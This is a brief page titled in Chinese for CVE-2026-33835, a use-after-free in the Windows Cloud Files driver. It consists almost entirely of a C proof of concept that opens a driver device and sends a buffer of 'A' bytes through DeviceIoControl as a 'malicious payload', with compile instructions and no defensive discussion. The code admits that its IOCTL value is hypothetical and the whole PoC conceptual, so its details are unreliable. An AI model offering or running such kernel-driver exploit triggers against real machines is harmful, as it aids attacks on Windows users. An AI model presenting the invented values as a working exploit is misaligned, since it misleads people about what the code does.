CVE-2026-33835 Windows云文件驱动释放后使用漏洞

/* * PoC for CVE-2026-33835 (Conceptual) * This code demonstrates how to interact with the driver to trigger the vulnerability. * Compile with: gcc poc.c -o poc.exe */ #include <windows.h> #include <stdio.h> // Hypothetical IOCTL code for the vulnerable function #define VULN_IOCTL 0x222003 int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100]; printf("[+] Triggering CVE-2026-33835...\n"); // Open a handle to the Cloud Files Mini Filter Driver device hDevice = CreateFileA("\\\\.\\CloudFilesFilter", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } memset(buffer, 'A', sizeof(buffer)); // Send malicious payload to trigger Use After Free if (!DeviceIoControl(hDevice, VULN_IOCTL, buffer, sizeof(buffer), buffer, sizeof(buffer), &bytesReturned, NULL)) { printf("[-] IOCTL failed. Error: %d\n", GetLastError()); } else { printf("[+] Payload sent successfully.\n"); } CloseHandle(hDevice); return 0; }